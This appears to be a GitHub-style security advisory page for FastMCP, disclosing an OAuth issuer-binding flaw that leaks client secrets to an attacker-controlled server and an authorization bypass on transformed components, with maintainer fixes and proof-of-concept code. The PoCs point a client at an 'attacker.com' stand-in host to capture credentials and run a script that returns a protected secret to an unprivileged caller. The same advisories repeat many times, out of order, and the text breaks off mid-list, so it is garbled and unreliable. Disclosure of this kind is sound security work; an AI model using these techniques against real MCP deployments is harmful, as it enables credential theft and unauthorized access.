The 4.1.2 fix adds issuer to ClientCredentialsOAuthProvider and PrivateKeyJWTOAuthProvider and requires MCP SDK 2.2.0. It also discards refresh credentials from reloaded tokens: without persisted authorization-server metadata, inherited refresh could otherwise transmit credentials before issuer discovery, including when a cached token was valid at startup and expired later. Cached tokens are isolated by configured issuer, so configuring or changing the issuer acquires a new token. Valid cached access tokens for the same issuer and their expiry remain intact.

Configuration required for protection: configure issuer with the issuer identifier of the authorization server that issued the credentials. Upgrading alone is insufficient: omission remains supported for compatibility and emits MCPDeprecationWarning. Rotate client secrets or other reusable credentials that may already have been sent to an untrusted endpoint. The fix is available in FastMCP 4.1.2.

from fastmcp.client.auth import ClientCredentialsOAuthProvider

auth = ClientCredentialsOAuthProvider(
    client_id="my-client-id",
    client_secret="my-client-secret",
    issuer="https://auth.example.com",
)

Original report

Summary

fastmcp's ClientCredentialsOAuthProvider and PrivateKeyJWTOAuthProvider do not expose or validate OAuth issuer binding when connecting to MCP servers. A client secret configured for a legitimate authorization server can be transmitted to an attacker-controlled authorization server if the MCP server URL is attacker-supplied or compromised. This is the same vulnerability class as GHSA-qx49-fqc8-xw99 (Python MCP SDK) and GHSA-6qxp-vccf-f47h (TypeScript MCP SDK), applied to fastmcp's wrapper layer.

Details

When fastmcp connects to an MCP server with OAuth client credentials:

1. Client constructs provider: ClientCredentialsOAuthProvider(client_id=..., client_secret=...)
2. Provider binds to server URL and discovers OAuth metadata
3. Client exchanges credentials at the token endpoint
4. WITHOUT issuer binding: client accepts ANY authorization server the MCP server advertises
5. Attack: attacker-controlled MCP server advertises attacker's authorization server
6. Result: client secret leaked to attacker

Affected code:

• fastmcp/client/auth/client_credentials.py:180-218 (ClientCredentialsOAuthProvider)

  • init signature has no issuer= parameter
  • _bind() calls super().init(server_url=mcp_url, ...) without issuer=

• fastmcp/client/auth/client_credentials.py:280-340 (PrivateKeyJWTOAuthProvider)

  • init signature has no issuer= parameter
  • _bind() calls super().init(server_url=mcp_url, ...) without issuer=

The underlying MCP SDK (mcp.client.auth.extensions.client_credentials) supports issuer= parameter, but fastmcp's wrappers neither accept nor forward it.

Example vulnerable usage:

auth = ClientCredentialsOAuthProvider(
    client_id="my-client-id",
    client_secret="my-client-secret",
)
async with Client("https://attacker.com/mcp", auth=auth) as client:
    # Client credentials get sent to attacker's auth server if attacker's MCP 
    # server advertises it in RFC 9728 metadata
    await client.list_tools()

Proof of concept

1. Run an attacker-controlled MCP server at https://attacker.com/mcp that advertises OAuth metadata pointing to https://attacker.com/oauth/token

2. Client code: from fastmcp import Client from fastmcp.client.auth import ClientCredentialsOAuthProvider

   auth = ClientCredentialsOAuthProvider( client_id="legitimate-client-id", client_secret="legitimate-client-secret" ) async with Client("https://attacker.com/mcp", auth=auth) as client: await client.list_tools()

3. Client exchanges credentials at https://attacker.com/oauth/token (attacker-controlled)

4. Attacker receives client_id and client_secret in Basic auth header

5. Attacker can now impersonate the client against the legitimate authorization server

The vulnerability exists because fastmcp does not validate that the authorization server advertised by the MCP server matches an expected issuer.

Impact

Severity: Medium-High

Any application using fastmcp's M2M OAuth providers (ClientCredentialsOAuthProvider, PrivateKeyJWTOAuthProvider) to connect to user-supplied or untrusted MCP server URLs is vulnerable to credential disclosure and client impersonation.

Affected parties:

• Prefect Cloud users running agents with fastmcp that connect to user-provided MCP servers
• Any deployment using fastmcp's M2M auth to connect to MCP servers where the URL is attacker-controllable or the server is compromised

Attack scenarios:

• User misconfigures MCP server URL in Prefect agent config
• MCP server URL obtained from user input without validation
• Legitimate MCP server is compromised/redirected
• MCP service provider (if SaaS) is compromised

Maintainer assessment and remediation

This report is accepted as a FastMCP authorization vulnerability. In supported configurations, a server transform can change the metadata used by a component's authorization policy. Direct lookups previously checked the original component but returned the transformed component without rechecking its policy. A client that knows the component identifier can invoke a tool or retrieve a resource or prompt that the configured policy denies.

The fixes authorize the final transformed tools, resources, templates, and prompts. A denied concrete resource also shadows a matching resource template at its URI, preventing proxy templates from retrieving the same protected resource upstream. Authorized callers, authorized component versions, and templates for genuinely absent concrete resources remain supported.

Affected stable release lines: FastMCP 3.0.0–3.4.9 and 4.0.0–4.1.1. The missing final authorization check is present in v3.0.0 history and was reproduced on v3.4.9 and v4.1.0. Both fastmcp and fastmcp-slim installations are affected when using component authorization with transforms or protected concrete resources overlapping proxy templates.

Fixes are available in FastMCP 3.4.10 and 4.1.2. Until upgrading, avoid overlapping proxy templates for protected resources and enforce the required authorization at the handler or server boundary rather than relying on a policy whose inputs are changed by a transform.

Original report

Post-transform component authorization is skipped on direct calls

Summary

FastMCP's direct component paths can return a transformed component before its applicable AuthCheck, allowing low-privilege callers to execute hidden protected behavior. I reproduced this against FastMCP 4.1.0 and commit e2fcc412001ff7414095c5dc282f94c70299a612 using only an in-process FastMCP server. The attacker does not have server-side access and does not control FastMCP configuration.

Details

Attacker prerequisites

A server uses a supported provider, server, or session transform and a metadata-aware component AuthCheck. The attacker has a valid low-privilege identity, lacks the required scope, and knows or guesses the final transformed component name. They do not control the transform or the policy.

Root cause

Listing applies transforms and then authorizes the transformed component. In the direct lookup path, FastMCP 4.1.0 applies the transform and returns the component without authorizing that final component. See server.py:933-940. The MCP tools/call handler reaches this path; equivalent direct paths exist for resources, templates, and prompts.

Proof of concept

Save this as poc_transform_auth.py:

import anyio

from fastmcp import FastMCP
from fastmcp.server.auth import restrict_tag
from fastmcp.server.transforms.tool_transform import ToolTransform
from fastmcp.tools.base import Tool
from fastmcp.tools.tool_transform import ToolTransformConfig


async def main() -> None:
    server = FastMCP("auth-boundary")
    server.add_tool(
        Tool.from_function(
            lambda: "PROTECTED SECRET",
            name="tagged_tool",
            tags={"public"},
            auth=restrict_tag("admin", scopes=["admin"]),
        )
    )
    server.add_transform(
        ToolTransform({"tagged_tool": ToolTransformConfig(tags={"admin"})})
    )

    print("listed:", [tool.name for tool in await server.list_tools()])
    try:
        result = await server.call_tool("tagged_tool")
    except Exception as exc:
        print("BLOCKED:", type(exc).__name__)
    else:
        print("VULNERABLE: direct call returned", result.content[0].text)


anyio.run(main)

Run it in an isolated environment:

uv run --with fastmcp==4.1.0 -- python poc_transform_auth.py

Observed on 4.1.0 for a caller without the admin scope:

listed: []
VULNERABLE: direct call returned PROTECTED SECRET

Impact

A low-privilege caller can directly execute administrative tools hidden from listing, including their side effects and returned secrets. The same ordering flaw can expose protected resources, templates, or prompts.

Recommended remediation

Apply component authorization to the final transformed component in every direct resolution/execution path, after all provider, server, and session transforms. Reuse one ordered resolver for list and direct operations so lookup never returns a transformed component before its applicable AuthCheck runs.

AI assistance

Yes — OpenAI Codex assisted static analysis/PoC/writeup; reproduction was validated against stated version.

Maintainer assessment and remediation

This report is accepted as a FastMCP credential-binding vulnerability. Affected versions of the OAuth client credentials providers do not expose the authorization-server issuer that owns pre-registered credentials. An untrusted or compromised MCP server can therefore advertise a different authorization server and receive the client secret or a signed assertion. Signing keys themselves remain local; assertion replayability depends on the assertion source and audience policy.

Affected stable versions are 4.0.0–4.1.1 of fastmcp and fastmcp-slim. The wrappers were introduced in 4.0.0a1; 3.x does not include them.

The 4.1.2 fix adds issuer to ClientCredentialsOAuthProvider and PrivateKeyJWTOAuthProvider and requires MCP SDK 2.2.0. It also discards refresh credentials from reloaded tokens: without persisted authorization-server metadata, inherited refresh could otherwise transmit credentials before issuer discovery, including when a cached token was valid at startup and expired later. Cached tokens are isolated by configured issuer, so configuring or changing the issuer acquires a new token. Valid cached access tokens for the same issuer and their expiry remain intact.

Configuration required for protection: configure issuer with the issuer identifier of the authorization server that issued the credentials. Upgrading alone is insufficient: omission remains supported for compatibility and emits MCPDeprecationWarning. Rotate client secrets or other reusable credentials that may already have been sent to an untrusted endpoint. The fix is available in FastMCP 4.1.2.

from fastmcp.client.auth import ClientCredentialsOAuthProvider

auth = ClientCredentialsOAuthProvider(
    client_id="my-client-id",
    client_secret="my-client-secret",
    issuer="https://auth.example.com",
)

Original report

Summary

fastmcp's ClientCredentialsOAuthProvider and PrivateKeyJWTOAuthProvider do not expose or validate OAuth issuer binding when connecting to MCP servers. A client secret configured for a legitimate authorization server can be transmitted to an attacker-controlled authorization server if the MCP server URL is attacker-supplied or compromised. This is the same vulnerability class as GHSA-qx49-fqc8-xw99 (Python MCP SDK) and GHSA-6qxp-vccf-f47h (TypeScript MCP SDK), applied to fastmcp's wrapper layer.

Details

When fastmcp connects to an MCP server with OAuth client credentials:

1. Client constructs provider: ClientCredentialsOAuthProvider(client_id=..., client_secret=...)
2. Provider binds to server URL and discovers OAuth metadata
3. Client exchanges credentials at the token endpoint
4. WITHOUT issuer binding: client accepts ANY authorization server the MCP server advertises
5. Attack: attacker-controlled MCP server advertises attacker's authorization server
6. Result: client secret leaked to attacker

Affected code:

• fastmcp/client/auth/client_credentials.py:180-218 (ClientCredentialsOAuthProvider)

  • init signature has no issuer= parameter
  • _bind() calls super().init(server_url=mcp_url, ...) without issuer=

• fastmcp/client/auth/client_credentials.py:280-340 (PrivateKeyJWTOAuthProvider)

  • init signature has no issuer= parameter
  • _bind() calls super().init(server_url=mcp_url, ...) without issuer=

The underlying MCP SDK (mcp.client.auth.extensions.client_credentials) supports issuer= parameter, but fastmcp's wrappers neither accept nor forward it.

Example vulnerable usage:

auth = ClientCredentialsOAuthProvider(
    client_id="my-client-id",
    client_secret="my-client-secret",
)
async with Client("https://attacker.com/mcp", auth=auth) as client:
    # Client credentials get sent to attacker's auth server if attacker's MCP 
    # server advertises it in RFC 9728 metadata
    await client.list_tools()

Proof of concept

1. Run an attacker-controlled MCP server at https://attacker.com/mcp that advertises OAuth metadata pointing to https://attacker.com/oauth/token

2. Client code: from fastmcp import Client from fastmcp.client.auth import ClientCredentialsOAuthProvider

   auth = ClientCredentialsOAuthProvider( client_id="legitimate-client-id", client_secret="legitimate-client-secret" ) async with Client("https://attacker.com/mcp", auth=auth) as client: await client.list_tools()

3. Client exchanges credentials at https://attacker.com/oauth/token (attacker-controlled)

4. Attacker receives client_id and client_secret in Basic auth header

5. Attacker can now impersonate the client against the legitimate authorization server

The vulnerability exists because fastmcp does not validate that the authorization server advertised by the MCP server matches an expected issuer.

Impact

Severity: Medium-High

Any application using fastmcp's M2M OAuth providers (ClientCredentialsOAuthProvider, PrivateKeyJWTOAuthProvider) to connect to user-supplied or untrusted MCP server URLs is vulnerable to credential disclosure and client impersonation.

Affected parties:

• Prefect Cloud users running agents with fastmcp that connect to user-provided MCP servers
• Any deployment using fastmcp's M2M auth to connect to MCP servers where the URL is attacker-controllable or the server is compromised

Attack scenarios:

• User misconfigures MCP server URL in Prefect agent config
• MCP server URL obtained from user input without validation
• Legitimate MCP server is compromised/redirected
• MCP service provider (if SaaS) is compromised

Maintainer assessment and remediation

This report is accepted as a FastMCP authorization vulnerability. In supported configurations, a server transform can change the metadata used by a component's authorization policy. Direct lookups previously checked the original component but returned the transformed component without rechecking its policy. A client that knows the component identifier can invoke a tool or retrieve a resource or prompt that the configured policy denies.

The fixes authorize the final transformed tools, resources, templates, and prompts. A denied concrete resource also shadows a matching resource template at its URI, preventing proxy templates from retrieving the same protected resource upstream. Authorized callers, authorized component versions, and templates for genuinely absent concrete resources remain supported.

Affected stable release lines: FastMCP 3.0.0–3.4.9 and 4.0.0–4.1.1. The missing final authorization check is present in v3.0.0 history and was reproduced on v3.4.9 and v4.1.0. Both fastmcp and fastmcp-slim installations are affected when using component authorization with transforms or protected concrete resources overlapping proxy templates.

Fixes are available in FastMCP 3.4.10 and 4.1.2. Until upgrading, avoid overlapping proxy templates for protected resources and enforce the required authorization at the handler or server boundary rather than relying on a policy whose inputs are changed by a transform.

Original report

Post-transform component authorization is skipped on direct calls

Summary

FastMCP's direct component paths can return a transformed component before its applicable AuthCheck, allowing low-privilege callers to execute hidden protected behavior. I reproduced this against FastMCP 4.1.0 and commit e2fcc412001ff7414095c5dc282f94c70299a612 using only an in-process FastMCP server. The attacker does not have server-side access and does not control FastMCP configuration.

Details

Attacker prerequisites

A server uses a supported provider, server, or session transform and a metadata-aware component AuthCheck. The attacker has a valid low-privilege identity, lacks the required scope, and knows or guesses the final transformed component name. They do not control the transform or the policy.

Root cause

Listing applies transforms and then authorizes the transformed component. In the direct lookup path, FastMCP 4.1.0 applies the transform and returns the component without authorizing that final component. See server.py:933-940. The MCP tools/call handler reaches this path; equivalent direct paths exist for resources, templates, and prompts.

Proof of concept

Save this as poc_transform_auth.py:

import anyio

from fastmcp import FastMCP
from fastmcp.server.auth import restrict_tag
from fastmcp.server.transforms.tool_transform import ToolTransform
from fastmcp.tools.base import Tool
from fastmcp.tools.tool_transform import ToolTransformConfig


async def main() -> None:
    server = FastMCP("auth-boundary")
    server.add_tool(
        Tool.from_function(
            lambda: "PROTECTED SECRET",
            name="tagged_tool",
            tags={"public"},
            auth=restrict_tag("admin", scopes=["admin"]),
        )
    )
    server.add_transform(
        ToolTransform({"tagged_tool": ToolTransformConfig(tags={"admin"})})
    )

    print("listed:", [tool.name for tool in await server.list_tools()])
    try:
        result = await server.call_tool("tagged_tool")
    except Exception as exc:
        print("BLOCKED:", type(exc).__name__)
    else:
        print("VULNERABLE: direct call returned", result.content[0].text)


anyio.run(main)

Run it in an isolated environment:

uv run --with fastmcp==4.1.0 -- python poc_transform_auth.py

Observed on 4.1.0 for a caller without the admin scope:

listed: []
VULNERABLE: direct call returned PROTECTED SECRET

Impact

A low-privilege caller can directly execute administrative tools hidden from listing, including their side effects and returned secrets. The same ordering flaw can expose protected resources, templates, or prompts.

Recommended remediation

Apply component authorization to the final transformed component in every direct resolution/execution path, after all provider, server, and session transforms. Reuse one ordered resolver for list and direct operations so lookup never returns a transformed component before its applicable AuthCheck runs.

AI assistance

Yes — OpenAI Codex assisted static analysis/PoC/writeup; reproduction was validated against stated version.

Maintainer assessment and remediation

This report is accepted as a FastMCP credential-binding vulnerability. Affected versions of the OAuth client credentials providers do not expose the authorization-server issuer that owns pre-registered credentials. An untrusted or compromised MCP server can therefore advertise a different authorization server and receive the client secret or a signed assertion. Signing keys themselves remain local; assertion replayability depends on the assertion source and audience policy.

Affected stable versions are 4.0.0–4.1.1 of fastmcp and fastmcp-slim. The wrappers were introduced in 4.0.0a1; 3.x does not include them.

The 4.1.2 fix adds issuer to ClientCredentialsOAuthProvider and PrivateKeyJWTOAuthProvider and requires MCP SDK 2.2.0. It also discards refresh credentials from reloaded tokens: without persisted authorization-server metadata, inherited refresh could otherwise transmit credentials before issuer discovery, including when a cached token was valid at startup and expired later. Cached tokens are isolated by configured issuer, so configuring or changing the issuer acquires a new token. Valid cached access tokens for the same issuer and their expiry remain intact.

Configuration required for protection: configure issuer with the issuer identifier of the authorization server that issued the credentials. Upgrading alone is insufficient: omission remains supported for compatibility and emits MCPDeprecationWarning. Rotate client secrets or other reusable credentials that may already have been sent to an untrusted endpoint. The fix is available in FastMCP 4.1.2.

from fastmcp.client.auth import ClientCredentialsOAuthProvider

auth = ClientCredentialsOAuthProvider(
    client_id="my-client-id",
    client_secret="my-client-secret",
    issuer="https://auth.example.com",
)

Original report

Summary

fastmcp's ClientCredentialsOAuthProvider and PrivateKeyJWTOAuthProvider do not expose or validate OAuth issuer binding when connecting to MCP servers. A client secret configured for a legitimate authorization server can be transmitted to an attacker-controlled authorization server if the MCP server URL is attacker-supplied or compromised. This is the same vulnerability class as GHSA-qx49-fqc8-xw99 (Python MCP SDK) and GHSA-6qxp-vccf-f47h (TypeScript MCP SDK), applied to fastmcp's wrapper layer.

Details

When fastmcp connects to an MCP server with OAuth client credentials:

1. Client constructs provider: ClientCredentialsOAuthProvider(client_id=..., client_secret=...)
2. Provider binds to server URL and discovers OAuth metadata
3. Client exchanges credentials at the token endpoint
4. WITHOUT issuer binding: client accepts ANY authorization server the MCP server advertises
5. Attack: attacker-controlled MCP server advertises attacker's authorization server
6. Result: client secret leaked to attacker

Affected code:

• fastmcp/client/auth/client_credentials.py:180-218 (ClientCredentialsOAuthProvider)

  • init signature has no issuer= parameter
  • _bind() calls super().init(server_url=mcp_url, ...) without issuer=

• fastmcp/client/auth/client_credentials.py:280-340 (PrivateKeyJWTOAuthProvider)

  • init signature has no issuer= parameter
  • _bind() calls super().init(server_url=mcp_url, ...) without issuer=

The underlying MCP SDK (mcp.client.auth.extensions.client_credentials) supports issuer= parameter, but fastmcp's wrappers neither accept nor forward it.

Example vulnerable usage:

auth = ClientCredentialsOAuthProvider(
    client_id="my-client-id",
    client_secret="my-client-secret",
)
async with Client("https://attacker.com/mcp", auth=auth) as client:
    # Client credentials get sent to attacker's auth server if attacker's MCP 
    # server advertises it in RFC 9728 metadata
    await client.list_tools()

Proof of concept

1. Run an attacker-controlled MCP server at https://attacker.com/mcp that advertises OAuth metadata pointing to https://attacker.com/oauth/token

2. Client code: from fastmcp import Client from fastmcp.client.auth import ClientCredentialsOAuthProvider

   auth = ClientCredentialsOAuthProvider( client_id="legitimate-client-id", client_secret="legitimate-client-secret" ) async with Client("https://attacker.com/mcp", auth=auth) as client: await client.list_tools()

3. Client exchanges credentials at https://attacker.com/oauth/token (attacker-controlled)

4. Attacker receives client_id and client_secret in Basic auth header

5. Attacker can now impersonate the client against the legitimate authorization server

The vulnerability exists because fastmcp does not validate that the authorization server advertised by the MCP server matches an expected issuer.

Impact

Severity: Medium-High

Any application using fastmcp's M2M OAuth providers (ClientCredentialsOAuthProvider, PrivateKeyJWTOAuthProvider) to connect to user-supplied or untrusted MCP server URLs is vulnerable to credential disclosure and client impersonation.

Affected parties:

• Prefect Cloud users running agents with fastmcp that connect to user-provided MCP servers
• Any deployment using fastmcp's M2M auth to connect to MCP servers where the URL is attacker-controllable or the server is compromised

Attack scenarios:

• User misconfigures MCP server URL in Prefect agent config
• MCP server URL obtained from user input without validation
• Legitimate MCP server is compromised/redirected
• MCP service provider (if SaaS) is compromised

Maintainer assessment and remediation

This report is accepted as a FastMCP authorization vulnerability. In supported configurations, a server transform can change the metadata used by a component's authorization policy. Direct lookups previously checked the original component but returned the transformed component without rechecking its policy. A client that knows the component identifier can invoke a tool or retrieve a resource or prompt that the configured policy denies.

The fixes authorize the final transformed tools, resources, templates, and prompts. A denied concrete resource also shadows a matching resource template at its URI, preventing proxy templates from retrieving the same protected resource upstream. Authorized callers, authorized component versions, and templates for genuinely absent concrete resources remain supported.

Affected stable release lines: FastMCP 3.0.0–3.4.9 and 4.0.0–4.1.1. The missing final authorization check is present in v3.0.0 history and was reproduced on v3.4.9 and v4.1.0. Both fastmcp and fastmcp-slim installations are affected when using component authorization with transforms or protected concrete resources overlapping proxy templates.

Fixes are available in FastMCP 3.4.10 and 4.1.2. Until upgrading, avoid overlapping proxy templates for protected resources and enforce the required authorization at the handler or server boundary rather than relying on a policy whose inputs are changed by a transform.

Original report

Post-transform component authorization is skipped on direct calls

Summary

FastMCP's direct component paths can return a transformed component before its applicable AuthCheck, allowing low-privilege callers to execute hidden protected behavior. I reproduced this against FastMCP 4.1.0 and commit e2fcc412001ff7414095c5dc282f94c70299a612 using only an in-process FastMCP server. The attacker does not have server-side access and does not control FastMCP configuration.

Details

Attacker prerequisites

A server uses a supported provider, server, or session transform and a metadata-aware component AuthCheck. The attacker has a valid low-privilege identity, lacks the required scope, and knows or guesses the final transformed component name. They do not control the transform or the policy.

Root cause

Listing applies transforms and then authorizes the transformed component. In the direct lookup path, FastMCP 4.1.0 applies the transform and returns the component without authorizing that final component. See server.py:933-940. The MCP tools/call handler reaches this path; equivalent direct paths exist for resources, templates, and prompts.

Proof of concept

Save this as poc_transform_auth.py:

import anyio

from fastmcp import FastMCP
from fastmcp.server.auth import restrict_tag
from fastmcp.server.transforms.tool_transform import ToolTransform
from fastmcp.tools.base import Tool
from fastmcp.tools.tool_transform import ToolTransformConfig


async def main() -> None:
    server = FastMCP("auth-boundary")
    server.add_tool(
        Tool.from_function(
            lambda: "PROTECTED SECRET",
            name="tagged_tool",
            tags={"public"},
            auth=restrict_tag("admin", scopes=["admin"]),
        )
    )
    server.add_transform(
        ToolTransform({"tagged_tool": ToolTransformConfig(tags={"admin"})})
    )

    print("listed:", [tool.name for tool in await server.list_tools()])
    try:
        result = await server.call_tool("tagged_tool")
    except Exception as exc:
        print("BLOCKED:", type(exc).__name__)
    else:
        print("VULNERABLE: direct call returned", result.content[0].text)


anyio.run(main)

Run it in an isolated environment:

uv run --with fastmcp==4.1.0 -- python poc_transform_auth.py

Observed on 4.1.0 for a caller without the admin scope:

listed: []
VULNERABLE: direct call returned PROTECTED SECRET

Impact

A low-privilege caller can directly execute administrative tools hidden from listing, including their side effects and returned secrets. The same ordering flaw can expose protected resources, templates, or prompts.

Recommended remediation

Apply component authorization to the final transformed component in every direct resolution/execution path, after all provider, server, and session transforms. Reuse one ordered resolver for list and direct operations so lookup never returns a transformed component before its applicable AuthCheck runs.

AI assistance

Yes — OpenAI Codex assisted static analysis/PoC/writeup; reproduction was validated against stated version.

Maintainer assessment and remediation

This report is accepted as a FastMCP credential-binding vulnerability. Affected versions of the OAuth client credentials providers do not expose the authorization-server issuer that owns pre-registered credentials. An untrusted or compromised MCP server can therefore advertise a different authorization server and receive the client secret or a signed assertion. Signing keys themselves remain local; assertion replayability depends on the assertion source and audience policy.

Affected stable versions are 4.0.0–4.1.1 of fastmcp and fastmcp-slim. The wrappers were introduced in 4.0.0a1; 3.x does not include them.

The 4.1.2 fix adds issuer to ClientCredentialsOAuthProvider and PrivateKeyJWTOAuthProvider and requires MCP SDK 2.2.0. It also discards refresh credentials from reloaded tokens: without persisted authorization-server metadata, inherited refresh could otherwise transmit credentials before issuer discovery, including when a cached token was valid at startup and expired later. Cached tokens are isolated by configured issuer, so configuring or changing the issuer acquires a new token. Valid cached access tokens for the same issuer and their expiry remain intact.

Configuration required for protection: configure issuer with the issuer identifier of the authorization server that issued the credentials. Upgrading alone is insufficient: omission remains supported for compatibility and emits MCPDeprecationWarning. Rotate client secrets or other reusable credentials that may already have been sent to an untrusted endpoint. The fix is available in FastMCP 4.1.2.

from fastmcp.client.auth import ClientCredentialsOAuthProvider

auth = ClientCredentialsOAuthProvider(
    client_id="my-client-id",
    client_secret="my-client-secret",
    issuer="https://auth.example.com",
)

Original report

Summary

fastmcp's ClientCredentialsOAuthProvider and PrivateKeyJWTOAuthProvider do not expose or validate OAuth issuer binding when connecting to MCP servers. A client secret configured for a legitimate authorization server can be transmitted to an attacker-controlled authorization server if the MCP server URL is attacker-supplied or compromised. This is the same vulnerability class as GHSA-qx49-fqc8-xw99 (Python MCP SDK) and GHSA-6qxp-vccf-f47h (TypeScript MCP SDK), applied to fastmcp's wrapper layer.

Details

When fastmcp connects to an MCP server with OAuth client credentials:

1. Client constructs provider: ClientCredentialsOAuthProvider(client_id=..., client_secret=...)
2. Provider binds to server URL and discovers OAuth metadata
3. Client exchanges credentials at the token endpoint
4. WITHOUT issuer binding: client accepts ANY authorization server the MCP server advertises
5. Attack: attacker-controlled MCP server advertises attacker's authorization server
6. Result: client secret leaked to attacker

Affected code:

• fastmcp/client/auth/client_credentials.py:180-218 (ClientCredentialsOAuthProvider)

  • init signature has no issuer= parameter
  • _bind() calls super().init(server_url=mcp_url, ...) without issuer=

• fastmcp/client/auth/client_credentials.py:280-340 (PrivateKeyJWTOAuthProvider)

  • init signature has no issuer= parameter
  • _bind() calls super().init(server_url=mcp_url, ...) without issuer=

The underlying MCP SDK (mcp.client.auth.extensions.client_credentials) supports issuer= parameter, but fastmcp's wrappers neither accept nor forward it.

Example vulnerable usage:

auth = ClientCredentialsOAuthProvider(
    client_id="my-client-id",
    client_secret="my-client-secret",
)
async with Client("https://attacker.com/mcp", auth=auth) as client:
    # Client credentials get sent to attacker's auth server if attacker's MCP 
    # server advertises it in RFC 9728 metadata
    await client.list_tools()

Proof of concept

1. Run an attacker-controlled MCP server at https://attacker.com/mcp that advertises OAuth metadata pointing to https://attacker.com/oauth/token

2. Client code: from fastmcp import Client from fastmcp.client.auth import ClientCredentialsOAuthProvider

   auth = ClientCredentialsOAuthProvider( client_id="legitimate-client-id", client_secret="legitimate-client-secret" ) async with Client("https://attacker.com/mcp", auth=auth) as client: await client.list_tools()

3. Client exchanges credentials at https://attacker.com/oauth/token (attacker-controlled)

4. Attacker receives client_id and client_secret in Basic auth header

5. Attacker can now impersonate the client against the legitimate authorization server

The vulnerability exists because fastmcp does not validate that the authorization server advertised by the MCP server matches an expected issuer.

Impact

Severity: Medium-High

Any application using fastmcp's M2M OAuth providers (ClientCredentialsOAuthProvider, PrivateKeyJWTOAuthProvider) to connect to user-supplied or untrusted MCP server URLs is vulnerable to credential disclosure and client impersonation.

Affected parties:

• Prefect Cloud users running agents with fastmcp that connect to user-provided MCP servers
• Any deployment using fastmcp's M2M auth to connect to MCP servers where the URL is attacker-controllable or the server is compromised

Attack scenarios:

• User misconfigures MCP server URL in Prefect agent config
• MCP server URL obtained from user input without validation
• Legitimate MCP server is compromised/redirected
• MCP service provider (if SaaS) is compromised

Maintainer assessment and remediation

This report is accepted as a FastMCP authorization vulnerability. In supported configurations, a server transform can change the metadata used by a component's authorization policy. Direct lookups previously checked the original component but returned the transformed component without rechecking its policy. A client that knows the component identifier can invoke a tool or retrieve a resource or prompt that the configured policy denies.

The fixes authorize the final transformed tools, resources, templates, and prompts. A denied concrete resource also shadows a matching resource template at its URI, preventing proxy templates from retrieving the same protected resource upstream. Authorized callers, authorized component versions, and templates for genuinely absent concrete resources remain supported.

Affected stable release lines: FastMCP 3.0.0–3.4.9 and 4.0.0–4.1.1. The missing final authorization check is present in v3.0.0 history and was reproduced on v3.4.9 and v4.1.0. Both fastmcp and fastmcp-slim installations are affected when using component authorization with transforms or protected concrete resources overlapping proxy templates.

Fixes are available in FastMCP 3.4.10 and 4.1.2. Until upgrading, avoid overlapping proxy templates for protected resources and enforce the required authorization at the handler or server boundary rather than relying on a policy whose inputs are changed by a transform.

Original report

Post-transform component authorization is skipped on direct calls

Summary

FastMCP's direct component paths can return a transformed component before its applicable AuthCheck, allowing low-privilege callers to execute hidden protected behavior. I reproduced this against FastMCP 4.1.0 and commit e2fcc412001ff7414095c5dc282f94c70299a612 using only an in-process FastMCP server. The attacker does not have server-side access and does not control FastMCP configuration.

Details

Attacker prerequisites

A server uses a supported provider, server, or session transform and a metadata-aware component AuthCheck. The attacker has a valid low-privilege identity, lacks the required scope, and knows or guesses the final transformed component name. They do not control the transform or the policy.

Root cause

Listing applies transforms and then authorizes the transformed component. In the direct lookup path, FastMCP 4.1.0 applies the transform and returns the component without authorizing that final component. See server.py:933-940. The MCP tools/call handler reaches this path; equivalent direct paths exist for resources, templates, and prompts.

Proof of concept

Save this as poc_transform_auth.py:

import anyio

from fastmcp import FastMCP
from fastmcp.server.auth import restrict_tag
from fastmcp.server.transforms.tool_transform import ToolTransform
from fastmcp.tools.base import Tool
from fastmcp.tools.tool_transform import ToolTransformConfig


async def main() -> None:
    server = FastMCP("auth-boundary")
    server.add_tool(
        Tool.from_function(
            lambda: "PROTECTED SECRET",
            name="tagged_tool",
            tags={"public"},
            auth=restrict_tag("admin", scopes=["admin"]),
        )
    )
    server.add_transform(
        ToolTransform({"tagged_tool": ToolTransformConfig(tags={"admin"})})
    )

    print("listed:", [tool.name for tool in await server.list_tools()])
    try:
        result = await server.call_tool("tagged_tool")
    except Exception as exc:
        print("BLOCKED:", type(exc).__name__)
    else:
        print("VULNERABLE: direct call returned", result.content[0].text)


anyio.run(main)

Run it in an isolated environment:

uv run --with fastmcp==4.1.0 -- python poc_transform_auth.py

Observed on 4.1.0 for a caller without the admin scope:

listed: []
VULNERABLE: direct call returned PROTECTED SECRET

Impact

A low-privilege caller can directly execute administrative tools hidden from listing, including their side effects and returned secrets. The same ordering flaw can expose protected resources, templates, or prompts.

Recommended remediation

Apply component authorization to the final transformed component in every direct resolution/execution path, after all provider, server, and session transforms. Reuse one ordered resolver for list and direct operations so lookup never returns a transformed component before its applicable AuthCheck runs.

AI assistance

Yes — OpenAI Codex assisted static analysis/PoC/writeup; reproduction was validated against stated version.

Maintainer assessment and remediation

This report is accepted as a FastMCP credential-binding vulnerability. Affected versions of the OAuth client credentials providers do not expose the authorization-server issuer that owns pre-registered credentials. An untrusted or compromised MCP server can therefore advertise a different authorization server and receive the client secret or a signed assertion. Signing keys themselves remain local; assertion replayability depends on the assertion source and audience policy.

Affected stable versions are 4.0.0–4.1.1 of fastmcp and fastmcp-slim. The wrappers were introduced in 4.0.0a1; 3.x does not include them.

The 4.1.2 fix adds issuer to ClientCredentialsOAuthProvider and PrivateKeyJWTOAuthProvider and requires MCP SDK 2.2.0. It also discards refresh credentials from reloaded tokens: without persisted authorization-server metadata, inherited refresh could otherwise transmit credentials before issuer discovery, including when a cached token was valid at startup and expired later. Cached tokens are isolated by configured issuer, so configuring or changing the issuer acquires a new token. Valid cached access tokens for the same issuer and their expiry remain intact.

Configuration required for protection: configure issuer with the issuer identifier of the authorization server that issued the credentials. Upgrading alone is insufficient: omission remains supported for compatibility and emits MCPDeprecationWarning. Rotate client secrets or other reusable credentials that may already have been sent to an untrusted endpoint. The fix is available in FastMCP 4.1.2.

from fastmcp.client.auth import ClientCredentialsOAuthProvider

auth = ClientCredentialsOAuthProvider(
    client_id="my-client-id",
    client_secret="my-client-secret",
    issuer="https://auth.example.com",
)

Original report

Summary

fastmcp's ClientCredentialsOAuthProvider and PrivateKeyJWTOAuthProvider do not expose or validate OAuth issuer binding when connecting to MCP servers. A client secret configured for a legitimate authorization server can be transmitted to an attacker-controlled authorization server if the MCP server URL is attacker-supplied or compromised. This is the same vulnerability class as GHSA-qx49-fqc8-xw99 (Python MCP SDK) and GHSA-6qxp-vccf-f47h (TypeScript MCP SDK), applied to fastmcp's wrapper layer.

Details

When fastmcp connects to an MCP server with OAuth client credentials:

